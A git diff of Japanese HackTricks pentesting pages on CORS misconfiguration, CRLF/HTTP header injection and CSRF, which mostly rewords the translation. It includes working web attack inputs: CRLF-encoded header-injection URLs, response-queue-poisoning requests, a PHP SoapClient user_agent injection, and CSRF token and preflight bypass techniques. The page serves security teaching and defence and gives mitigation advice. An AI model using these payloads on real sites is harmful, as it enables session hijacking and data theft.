**`Access-Control-Allow-Headers`**: このヘッダーは、実際のリクエスト中に使用できるヘッダーを指定します。サーバーによって設定され、クライアントからのリクエストで許可されたヘッダーを示します。 - **`Access-Control-Expose-Headers`**: このヘッダーを通じて、サーバーは単純なレスポンスヘッダーに加えて、どのヘッダーがレスポンスの一部として公開されるかをクライアントに通知します。 - **`Access-Control-Max-Age`**: このヘッダーは、プリフライトリクエストの結果をキャッシュできる期間を示します。サーバーは、プリフライトリクエストによって返される情報が再利用される可能性がある最大時間(秒単位)を設定します。 -- **`Access-Control-Request-Headers`**: プリフライトリクエストで使用されるこのヘッダーは、クライアントが実際のリクエストで使用したいHTTPヘッダーをサーバーに通知するために設定されます。 +- **`Access-Control-Request-Headers`**: プリフライトリクエストで使用されるこのヘッダーは、クライアントが実際のリクエストで使用したいHTTPヘッダーについてサーバーに通知するために設定されます。 - **`Access-Control-Request-Method`**: このヘッダーもプリフライトリクエストで使用され、クライアントが実際のリクエストで使用するHTTPメソッドを示すために設定されます。 - **`Origin`**: このヘッダーはブラウザによって自動的に設定され、クロスオリジンリクエストの起源を示します。サーバーは、CORSポリシーに基づいて受信リクエストを許可するか拒否するかを評価するために使用されます。 - -**通常(コンテンツタイプと設定されたヘッダーに応じて)、GET/POSTリクエストではプリフライトリクエストは送信されません**(リクエストは**直接**送信されます)。ただし、**レスポンスのヘッダー/本文にアクセスしたい場合**は、それを許可する _Access-Control-Allow-Origin_ ヘッダーを含める必要があります。\ -**したがって、CORSはCSRFに対して保護されていません(ただし、役立つ場合があります)。** - -### **ローカルネットワークリクエストのプリフライトリクエスト** - -1. **`Access-Control-Request-Local-Network`**: このヘッダーは、クライアントのリクエストに含まれ、問い合わせがローカルネットワークリソースを対象としていることを示します。サーバーにリクエストがローカルネットワーク内から発信されたことを通知するマーカーとして機能します。 - -2. **`Access-Control-Allow-Local-Network`**: サーバーはこのヘッダーを利用して、要求されたリソースがローカルネットワーク外のエンティティと共有できることを通知します。異なるネットワーク境界を越えてリソースを共有するための許可を示し、セキュリティプロトコルを維持しながら制御されたアクセスを確保します。 - -**ローカルネットワークリクエストを許可する有効な応答**は、レスポンスにも `Access-Controls-Allow-Local_network: true` ヘッダーを含める必要があります: ``` HTTP/1.1 200 OK ... @@ -127,23 +116,23 @@ Content-Length: 0 ... ``` {% hint style="warning" %} -**注意**:Linuxの**0.0.0.0** IPは、この要件を**バイパス**してlocalhostにアクセスするために機能します。このIPアドレスは「ローカル」と見なされないためです。 +**注意**:Linuxの **0.0.0.0** IP はこれらの要件を **バイパス** してlocalhostにアクセスするために機能します。このIPアドレスは「ローカル」と見なされないためです。 -また、**ローカルネットワークの要件をバイパス**することも可能です。これは、**ローカルエンドポイントのパブリックIPアドレス**(たとえば、ルーターのパブリックIP)を使用する場合に当てはまります。なぜなら、いくつかの場合、**ローカルネットワーク**からアクセスされている場合、たとえ**パブリックIP**にアクセスされていても、アクセスが許可されるからです。 +また、ローカルネットワークの要件を **バイパス** することも可能です。これは、ローカルエンドポイント(たとえばルーターのパブリックIP)の **パブリックIPアドレス** を使用する場合に当てはまります。なぜなら、いくつかの場合には、アクセスされているのが **パブリックIP** であっても、それが **ローカルネットワーク** からアクセスされている場合にはアクセスが許可されるからです。 {% endhint %} ## Exploitable misconfigurations -`Access-Control-Allow-Credentials`を**`true`**に設定することが、ほとんどの**実際の攻撃**に対する前提条件であることが観察されています。この設定により、ブラウザが資格情報を送信し、応答を読み取ることが許可され、攻撃の効果が向上します。これがないと、ブラウザにリクエストを発行させる利点が自分で行うよりも低下し、ユーザーのクッキーを利用することが不可能になります。 +`Access-Control-Allow-Credentials` を **`true`** に設定することがほとんどの **実際の攻撃** に対する前提条件であることが観察されています。この設定により、ブラウザが資格情報を送信し、レスポンスを読み取ることが許可され、攻撃の効果が向上します。これがないと、ブラウザにリクエストを発行させる利点が自分で行うよりも低下し、ユーザーのクッキーを利用することが不可能になります。 -### 例外:ネットワークロケーションを認証として悪用する +### 例外:ネットワークロケーションを認証として利用する攻撃 -被害者のネットワークロケーションが認証の形式として機能する例外が存在します。これにより、被害者のブラウザをプロキシとして使用して、IPベースの認証を回避してイントラネットアプリケーションにアクセスできます。この方法はDNSリバインディングと同様の影響を持ちますが、より簡単に悪用できます。 +被害者のネットワークロケーションが認証の形式として機能する例外が存在します。これにより、被害者のブラウザをプロキシとして使用して、IPベースの認証を回避してイントラネットアプリケーションにアクセスすることが可能となります。この方法はDNSリバインディングと同様の影響を持ちますが、より簡単に悪用できます。 -### `Access-Control-Allow-Origin`で`Origin`の反映 +### `Access-Control-Allow-Origin` での `Origin` の反映 -`Origin`ヘッダーの値が`Access-Control-Allow-Origin`に反映される実世界のシナリオは、これらのヘッダーを組み合わせる制限のため理論的にはあり得ません。ただし、複数のURLに対してCORSを有効にしたい開発者は、`Origin`ヘッダーの値をコピーして`Access-Control-Allow-Origin`ヘッダーを動的に生成することがあります。このアプローチは、攻撃者が正規のように見えるドメインを使用して検証ロジックを欺くことで、脆弱性を導入する可能性があります。 +`Origin` ヘッダーの値が `Access-Control-Allow-Origin` に反映される実際のシナリオは、これらのヘッダーを組み合わせる制限のため理論的にはあり得ません。ただし、複数のURLに対してCORSを有効にしたい開発者は、`Origin` ヘッダーの値をコピーして `Access-Control-Allow-Origin` ヘッダーを動的に生成することがあります。このアプローチは脆弱性を導入する可能性があり、特に攻撃者が正規のように見せかけるために設計されたドメインを使用する場合、検証ロジックを欺くことができます。 ```html ` -- このURLでは、`%0d%0a%0d%0a` はCRLFCRLFのURLエンコード形式です。これにより、サーバーがCRLFシーケンスを挿入し、後続の部分をレスポンス本文として扱うように誤認させます。 -4. サーバーは、攻撃者の入力をレスポンスヘッダーに反映し、悪意のあるスクリプトがブラウザによってレスポンス本文の一部として解釈される意図しないレスポンス構造を導きます。 +- このURLでは、`%0d%0a%0d%0a` はCRLFCRLFのURLエンコード形式です。これにより、サーバーはCRLFシーケンスを挿入し、後続の部分をレスポンス本文として扱うように誤認させられます。 +4. サーバーは、攻撃者の入力をレスポンスヘッダーに反映し、悪意のあるスクリプトがブラウザによってレスポンス本文の一部として解釈される意図しないレスポンス構造をもたらします。 -#### リダイレクトにつながるHTTPレスポンス分割の例 +#### リダイレクトにつながるHTTP レスポンス分割の例 From [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62) @@ -71,7 +69,7 @@ From [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-ca ``` /%0d%0aLocation:%20http://myweb.com ``` -そして、サーバーは次のヘッダーを返します: +そして、サーバーは次のヘッダーで応答します: ``` Location: http://myweb.com ``` @@ -92,15 +90,15 @@ http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:te ### HTTPヘッダーインジェクション -HTTPヘッダーインジェクションは、しばしばCRLF(キャリッジリターンと改行)インジェクションを介して悪用され、攻撃者がHTTPヘッダーを挿入できるようにします。これにより、XSS(クロスサイトスクリプティング)フィルターやSOP(同一オリジンポリシー)などのセキュリティメカニズムが崩れ、CSRFトークンへの不正アクセスや、クッキーの植え付けを通じたユーザーセッションの操作など、機密データへの不正アクセスが可能となります。 +HTTPヘッダーインジェクションは、しばしばCRLF(キャリッジリターンおよび改行)インジェクションを介して悪用され、攻撃者がHTTPヘッダーを挿入できるようにします。これにより、XSS(クロスサイトスクリプティング)フィルターやSOP(同一オリジンポリシー)などのセキュリティメカニズムが崩れ、CSRFトークンなどの機密データへの不正アクセスや、クッキーの植え付けを通じたユーザーセッションの操作が可能になります。 #### HTTPヘッダーインジェクションを介したCORSの悪用 -攻撃者はHTTPヘッダーを注入してCORS(クロスオリジンリソース共有)を有効にすることができ、SOPによって課された制限を回避します。この侵害により、悪意のあるオリジンからのスクリプトが異なるオリジンのリソースとやり取りし、保護されたデータにアクセスする可能性があります。 +攻撃者はHTTPヘッダーを注入してCORS(クロスオリジンリソース共有)を有効にし、SOPによって課せられた制限をバイパスすることができます。この侵害により、悪意のあるオリジンからのスクリプトが異なるオリジンのリソースとやり取りし、保護されたデータにアクセスする可能性があります。 #### CRLFを介したSSRFおよびHTTPリクエストインジェクション -CRLFインジェクションを使用して、完全に新しいHTTPリクエストを作成して挿入することができます。これの注目すべき例として、PHPの`SoapClient`クラスにある脆弱性があり、特に`user_agent`パラメータ内に存在します。このパラメータを操作することで、攻撃者は追加のヘッダーや本文コンテンツを挿入したり、新しいHTTPリクエストを完全に挿入したりすることができます。以下は、この悪用を示すPHPの例です: +CRLFインジェクションを使用して、完全に新しいHTTPリクエストを作成して挿入することができます。これの注目すべき例は、PHPの`SoapClient`クラスにある脆弱性であり、特に`user_agent`パラメータ内にあります。このパラメータを操作することで、攻撃者は追加のヘッダーや本文コンテンツを挿入したり、新しいHTTPリクエストを完全に挿入したりすることができます。以下は、この悪用を示すPHPの例です: ```php $target = 'http://127.0.0.1:9090/test'; $post_string = 'variable=post value'; @@ -129,23 +127,23 @@ $client->__soapCall("test", []); この技術や潜在的な問題についての詳細は、[**元のソースをチェックしてください**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。 -初期リクエストに応答した後、**バックエンドが接続を維持するようにするために**重要なヘッダーをインジェクトできます。 +初期リクエストへの応答後に**バックエンドが接続を維持する**ように、重要なヘッダーをインジェクトできます。 ``` GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 ``` **悪用:** -1. **悪意のあるプレフィックスインジェクション**: この方法は、悪意のあるプレフィックスを指定することで、次のユーザーのリクエストまたはWebキャッシュを汚染することを含みます。例: +1. **悪意のあるプレフィックスインジェクション**: この方法は、悪意のあるプレフィックスを指定することで、次のユーザーのリクエストまたはWebキャッシュを毒すことを含みます。例: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1` -2. **レスポンスキュー汚染のためのプレフィックスの作成**: このアプローチは、トレイリングジャンクと組み合わせると完全な2番目のリクエストが形成されるプレフィックスを作成することを含みます。これにより、レスポンスキューの汚染が引き起こされる可能性があります。例: +2. **レスポンスキュー毒入れのためのプレフィックスの作成**: このアプローチは、トレイリングジャンクと組み合わせると完全な2番目のリクエストを形成するプレフィックスを作成することを含みます。これにより、レスポンスキューの毒入れが引き起こされる可能性があります。例: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1` ### Memcacheインジェクション -Memcacheは**クリアテキストプロトコルを使用するキーバリューストア**です。詳細は以下を参照してください: +Memcacheは**クリアテキストプロトコルを使用するキーバリューストア**です。詳細は以下を参照: {% content-ref url="../network-services-pentesting/11211-memcache/" %} [11211-memcache](../network-services-pentesting/11211-memcache/) @@ -153,13 +151,13 @@ Memcacheは**クリアテキストプロトコルを使用するキーバリュ **詳細については**[**元の解説**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **を読んでください** -プラットフォームが**HTTPリクエストからデータを取得し、サニタイズせずに**それを使用して**memcache**サーバーに**リクエスト**を実行する場合、攻撃者はこの動作を悪用して**新しいmemcacheコマンドをインジェクト**する可能性があります。 +プラットフォームが**HTTPリクエストからデータを取得し、サニタイズせずに**それを使用して**memcache**サーバーに**リクエスト**を実行する場合、攻撃者はこの振る舞いを悪用して**新しいmemcacheコマンドをインジェクト**する可能性があります。 -たとえば、元の脆弱性が発見された場合、キャッシュキーが使用されてユーザーが接続すべきIPとポートを返し、攻撃者は**memcacheコマンドをインジェクト**して**キャッシュを汚染**し、被害者の詳細(ユーザー名とパスワードを含む)を攻撃者のサーバーに送信することができました: +たとえば、元の脆弱性が発見された場合、キャッシュキーが使用され、ユーザーが接続すべきIPとポートを返すために使用され、攻撃者は**memcacheコマンドをインジェクト**して**キャッシュを毒し**、被害者の詳細(ユーザー名とパスワードを含む)を攻撃者のサーバーに送信することができました:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop
-さらに、研究者は、memcacheの応答をデシンクさせて、攻撃者が知らないユーザーのIPとポートを攻撃者に送信することができることも発見しました: +さらに、研究者は、memcacheの応答をデシンクさせ、攻撃者が知らないユーザーのIPとポートを攻撃者に送信することができることも発見しました:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop
@@ -171,7 +169,7 @@ WebアプリケーションでのCRLF(キャリッジリターンおよびラ 最も安全なアプローチは、ユーザー提供の入力を直接レスポンスヘッダーに組み込まないことです。 2. **特殊文字のエンコード:** -直接ユーザー入力を避けることができない場合は、CR(キャリッジリターン)やLF(ラインフィード)などの特殊文字をエンコードするための専用の関数を使用してください。この実践により、CRLFインジェクションの可能性を防ぎます。 +直接ユーザー入力を避けることができない場合は、CR(キャリッジリターン)やLF(ラインフィード)などの特殊文字をエンコードするための専用の関数を使用することを確認してください。この実践により、CRLFインジェクションの可能性を防ぎます。 3. **プログラミング言語の更新:** Webアプリケーションで使用されているプログラミング言語を定期的に最新バージョンに更新してください。HTTPヘッダーを設定する関数内でCRおよびLF文字のインジェクションをデフォルトで許可しないバージョンを選択してください。 @@ -213,7 +211,7 @@ Webアプリケーションで使用されているプログラミング言語 -**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 +**ハッキングキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -223,10 +221,10 @@ Webアプリケーションで使用されているプログラミング言語 HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる +* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する diff --git a/pentesting-web/csrf-cross-site-request-forgery.md b/pentesting-web/csrf-cross-site-request-forgery.md index b5a8ee35e..eb44eb9cc 100644 --- a/pentesting-web/csrf-cross-site-request-forgery.md +++ b/pentesting-web/csrf-cross-site-request-forgery.md @@ -2,15 +2,15 @@
-htARTE(HackTricks AWS Red Team Expert)を使用して、**ゼロからヒーローまでAWSハッキングを学ぶ** +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手 -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **Discordグループ**に参加する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で私をフォローする[**@carlospolopm**](https://twitter.com/carlospolopm)**。** -- **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください +- **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。 +- **ハッキングトリックを共有する**ために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
@@ -19,38 +19,38 @@ HackTricksをサポートする他の方法: 経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう! **ハッキングの洞察**\ -ハッキングのスリルとチャレンジに深く関わるコンテンツに参加する +ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう **リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保つ +リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保ちましょう -**最新のアナウンス**\ -最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を把握する +**最新の発表**\ +最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を把握しましょう **Discord**(https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力しましょう! -## Cross-Site Request Forgery(CSRF)の説明 +## クロスサイトリクエストフォージェリ(CSRF)の説明 -**Cross-Site Request Forgery(CSRF)**は、Webアプリケーションで見つかるセキュリティ脆弱性の一種です。これにより、攻撃者は認証されたセッションを悪用して無防備なユーザーの代わりにアクションを実行できます。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、画像の取得などの方法を使用して、被害者のアカウントにリクエストをトリガーします。 +**クロスサイトリクエストフォージェリ(CSRF)**は、Webアプリケーションで見つかるセキュリティ脆弱性の一種です。これにより、攻撃者は認証されたセッションを悪用して無防備なユーザーの代わりにアクションを実行できます。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、画像の取得などの方法を使用して、被害者のアカウントにリクエストをトリガーします。 ### CSRF攻撃の前提条件 CSRF脆弱性を悪用するには、いくつかの条件を満たす必要があります: -1. **価値のあるアクションの特定**: 攻撃者は、ユーザーのパスワードの変更、メールの変更、特権の昇格など、悪用する価値のあるアクションを見つける必要があります。 -2. **セッション管理**: ユーザーのセッションは、クッキーまたはHTTPベーシック認証ヘッダーを介してのみ管理される必要があります。他のヘッダーはこの目的のために操作できないためです。 -3. **予測不可能なパラメーターの不在**: リクエストに予測不可能なパラメーターが含まれていない必要があります。これらのパラメーターが攻撃を防ぐことができます。 +1. **価値のあるアクションの特定**:攻撃者は、ユーザーのパスワードの変更、メールの変更、特権の昇格など、悪用する価値のあるアクションを見つける必要があります。 +2. **セッション管理**:ユーザーのセッションは、クッキーまたはHTTPベーシック認証ヘッダーを介してのみ管理されるべきです。他のヘッダーはこの目的のために操作できないためです。 +3. **予測不可能なパラメーターの不在**:リクエストに予測不可能なパラメーターが含まれていてはならず、これらが攻撃を防ぐことができます。 ### CSRFに対する防御 -CSRF攻撃に対抗するために、いくつかの対策を実装できます: +CSRF攻撃に対抗するために、いくつかの対策を実装することができます: -* [**SameSiteクッキー**](hacking-with-cookies/#samesite): この属性は、クロスサイトリクエストと一緒にクッキーを送信しないようにします。[SameSiteクッキーについて詳しく](hacking-with-cookies/#samesite)。 -* [**Cross-origin resource sharing**](cors-bypass.md): 被害者サイトのCORSポリシーは、攻撃が被害者サイトからの応答を読み取ることを必要とする場合に特に攻撃の実現可能性に影響を与える可能性があります。[CORSバイパスについて学ぶ](cors-bypass.md)。 -* **ユーザーの検証**: ユーザーの意図を確認するためにパスワードを求めたり、CAPTCHAを解かせたりすることができます。 -* **リファラまたはオリジンヘッダーの確認**: これらのヘッダーを検証することで、リクエストが信頼されたソースから送信されていることを確認できます。ただし、URLの慎重な作成により、実装が不十分なチェックをバイパスすることができます。例: +* [**SameSiteクッキー**](hacking-with-cookies/#samesite):この属性は、ブラウザがクロスサイトリクエストと一緒にクッキーを送信しないようにします。[SameSiteクッキーについて詳しく](hacking-with-cookies/#samesite)。 +* [**Cross-origin resource sharing**](cors-bypass.md):被害者サイトのCORSポリシーは、攻撃が被害者サイトからの応答を読み取ることを必要とする場合など、攻撃の実行可能性に影響を与える可能性があります。[CORSバイパスについて学ぶ](cors-bypass.md)。 +* **ユーザーの検証**:ユーザーの意図を確認するために、パスワードの入力やCAPTCHAの解決を求めることができます。 +* **リファラまたはオリジンヘッダーの確認**:これらのヘッダーを検証することで、リクエストが信頼されたソースから送信されていることを確認できます。ただし、URLの慎重な作成により、次のような実装が不十分なチェックをバイパスする可能性があります: - `http://mal.net?orig=http://example.com`(URLが信頼されたURLで終わる) - `http://example.com.mal.net`(URLが信頼されたURLで始まる) -* **パラメーター名の変更**: POSTまたはGETリクエストのパラメーター名を変更することで、自動化された攻撃を防ぐのに役立ちます。 -* **CSRFトークン**: 各セッションに一意のCSRFトークンを組み込み、後続のリクエストでこのトークンを要求することで、CSRFのリスクを著しく軽減できます。トークンの効果はCORSの強制によって強化できます。 +* **パラメーター名の変更**:POSTまたはGETリクエストのパラメーター名を変更することで、自動化された攻撃を防ぐのに役立ちます。 +* **CSRFトークン**:各セッションに一意のCSRFトークンを組み込み、後続のリクエストでこのトークンを要求することで、CSRFのリスクを著しく軽減することができます。トークンの効果は、CORSの強制によって強化することができます。 これらの防御策を理解し、実装することは、Webアプリケーションのセキュリティと完全性を維持するために重要です。 @@ -58,30 +58,30 @@ CSRF攻撃に対抗するために、いくつかの対策を実装できます ### POSTからGETへ -悪用したいフォームが**CSRFトークンを持つPOSTリクエストを送信する準備ができているかもしれませんが**、**GET**が**有効であるかどうか**、およびGETリクエストを送信するときに**CSRFトークンが引き続き検証されているかどうか**を**確認**する必要があります。 +悪用したいフォームが**CSRFトークンを持つPOSTリクエストを送信する準備ができているかもしれませんが**、**GET**も**有効であるかどうか**、そしてGETリクエストを送信するときに**CSRFトークンが引き続き検証されているかどうか**を**確認**する必要があります。 ### トークンの欠如 -アプリケーションは、トークンが存在する場合にのみトークンを検証するメカニズムを実装する場合があります。ただし、トークンが欠落している場合に検証が完全にスキップされると、脆弱性が発生します。攻撃者は、トークンを運ぶパラメーターだけでなく、その値を削除することで、検証プロセスを回避し、効果的にCross-Site Request Forgery(CSRF)攻撃を実行できます。 +アプリケーションは、トークンが存在する場合にのみトークンを検証するメカニズムを実装するかもしれません。ただし、トークンが欠落している場合に検証が完全にスキップされると、脆弱性が発生します。攻撃者は、トークンを運ぶパラメーターだけでなく、その値を削除することで、検証プロセスを回避し、効果的にクロスサイトリクエストフォージェリ(CSRF)攻撃を実行することができます。 ### CSRFトークンがユーザーセッションに紐付いていない -CSRFトークンをユーザーセッションに紐付けないアプリケーションは、重大な**セキュリティリスク**を示します。これらのシステムは、各トークンが開始セッションにバインドされていることを確認するのではなく、トークンを**グローバルプール**に対して検証します。 +CSRFトークンをユーザーセッションに紐付けていないアプリケーションは、重大な**セキュリティリスク**を示します。これらのシステムは、各トークンが開始セッションにバインドされていることを確認するのではなく、トークンをグローバルプールに対して検証します。 -攻撃者がこれを悪用する方法: +攻撃者がこれをどのように悪用するか: -1. 自分のアカウントを使用して**認証**する。 -2. グローバルプールから有効なCSRFトークンを**取得**する。 -3. このトークンを被害者に対するCSRF攻撃に**使用**する。 +1. 自分のアカウントを使用して**認証**します。 +2. グローバルプールから有効なCSRFトークンを**取得**します。 +3. このトークンを被害者に対するCSRF攻撃に**使用**します。 -この脆弱性により、攻撃者は被害者を代表して不正なリクエストを行い、アプリケーションの**不適切なトークン検証メカニズム**を悪用できます。 +この脆弱性により、攻撃者は被害者を代表して不正なリクエストを行うことができ、アプリケーションの**不適切なトークン検証メカニズム**を悪用します。 ### メソッドバイパス -リクエストが**「奇妙な」メソッド**を使用している場合、**メソッドオーバーライド機能**が機能しているかどうかを確認してください。 -たとえば、**PUT**メソッドを使用している場合、**POST**メソッドを試してみて、_https://example.com/my/dear/api/val/num?**\_method=PUT**_を**送信**できます。 +リクエストが「**奇妙な**」**メソッド**を使用している場合、**メソッドオーバーライド機能**が機能しているかどうかを確認してください。 +たとえば、**PUT**メソッドを使用している場合、**POST**メソッドを試して、_https://example.com/my/dear/api/val/num?**\_method=PUT**_を**送信**できます。 -これは、**POSTリクエスト内の\_methodパラメーターを送信**するか、**ヘッダー**を使用しても機能する可能性があります: +これは、**POSTリクエスト内に\_methodパラメーターを送信**するか、**ヘッダー**を使用することでも機能する可能性があります: - _X-HTTP-Method_ - _X-HTTP-Method-Override_ @@ -89,16 +89,16 @@ CSRFトークンをユーザーセッションに紐付けないアプリケー ### カスタムヘッダートークンバイパス -リクエストが**CSRF保護方法としてカスタムヘッダーにトークン**を追加している場合、次のようにします: +リクエストが**CSRF保護方法としてカスタムヘッダーにトークンを追加**している場合、次のようにしてください: -- **カスタムトークンとヘッダーを削除して**リクエストをテストします。 -- **同じ長さ**の異なるトークンを使用して、リクエストをテストします。 +- **カスタムトークンとヘッダーを削除**してリクエストをテストします。 +- 同じ長さの**異なるトークン**を使用してリクエストをテストします。 ### CSRFトークンがクッキーによって検証されている -アプリケーションは、リクエストパラメーターとクッキーの両方にトークンを複製するか、CSRFクッキーを設定し、バックエンドで送信されたトークンがクッキーに対応しているかを検証することで、CSRF保護を実装する場合があります。アプリケーションは、リクエストパラメーター内のトークンがクッキー内の値と一致するかどうかを確認することでリクエストを検証します。 +アプリケーションは、CSRF保護を実装する際に、クッキーとリクエストパラメーターの両方にトークンを複製するか、CSRFクッキーを設定し、バックエンドで送信されたトークンがクッキーと一致するかどうかを検証することによって実装する場合があります。アプリケーションは、リクエストパラメーター内のトークンがクッキー内の値と一致するかどうかを確認することでリクエストを検証します。 -ただし、この方法は、WebサイトにCRLF脆弱性などの欠陥がある場合、攻撃者が被害者のブラウザにCSRFクッキーを設定できるようにする欠陥があるため、CSRF攻撃に対して脆弱です。攻撃者は、クッキーを設定する欺瞞的な画像を読み込んでからCSRF攻撃を開始することで、これを悪用できます。 +ただし、この方法は、ウェブサイトにCRLF脆弱性などの欠陥がある場合、攻撃者が被害者のブラウザにCSRFクッキーを設定することを許可する欠陥がある場合に、CSRF攻撃に対して脆弱です。攻撃者は、クッキーを設定する欺瞞的な画像を読み込んでからCSRF攻撃を開始することで、これを悪用することができます。 以下は、攻撃がどのように構築されるかの例です: ```html @@ -130,7 +130,7 @@ CSRFトークンをユーザーセッションに紐付けないアプリケー ただし、使用される **Content-Type** に応じて **サーバーのロジックが異なる場合** があるため、上記の値や **`application/json`**、**`text/xml`**、**`application/xml`** などの他の値を試す必要があります。 -JSON データを **text/plain** として送信する例([こちら](https://brycec.me/posts/corctf\_2021\_challenges)から): +例([こちら](https://brycec.me/posts/corctf\_2021\_challenges)から): JSON データを text/plain として送信する場合: ```html @@ -145,13 +145,13 @@ form.submit(); ``` ### Preflightリクエストのバイパス方法(JSONデータ用) -JSONデータをPOSTリクエストで送信しようとする際、HTMLフォームで `Content-Type: application/json` を使用することは直接はできません。同様に、このコンテンツタイプを送信するために `XMLHttpRequest` を使用すると、プリフライトリクエストが開始されます。それでも、この制限を回避し、サーバーがJSONデータを処理するかどうかを確認するための戦略があります: +JSONデータをPOSTリクエストで送信しようとする際、HTMLフォームで `Content-Type: application/json` を使用することは直接はできません。同様に、このコンテンツタイプを送信するために `XMLHttpRequest` を使用すると、プリフライトリクエストが開始されます。それでも、この制限をバイパスし、サーバーがJSONデータを処理するかどうかを確認するための戦略があります: -1. **代替コンテンツタイプの使用**: フォーム内で `enctype="text/plain"` を設定して `Content-Type: text/plain` または `Content-Type: application/x-www-form-urlencoded` を使用します。この方法は、バックエンドがContent-Typeに関係なくデータを利用するかどうかをテストします。 +1. **代替コンテンツタイプの使用**: `Content-Type: text/plain` または `Content-Type: application/x-www-form-urlencoded` を使用し、フォーム内で `enctype="text/plain"` を設定します。この方法は、バックエンドがContent-Typeに関係なくデータを使用するかどうかをテストします。 -2. **コンテンツタイプの変更**: サーバーがコンテンツをJSONとして認識することを確認しながら、プリフライトリクエストを回避するために、データを `Content-Type: text/plain; application/json` で送信できます。これによりプリフライトリクエストがトリガーされませんが、サーバーが `application/json` を受け入れるように構成されている場合は正しく処理される可能性があります。 +2. **コンテンツタイプの変更**: 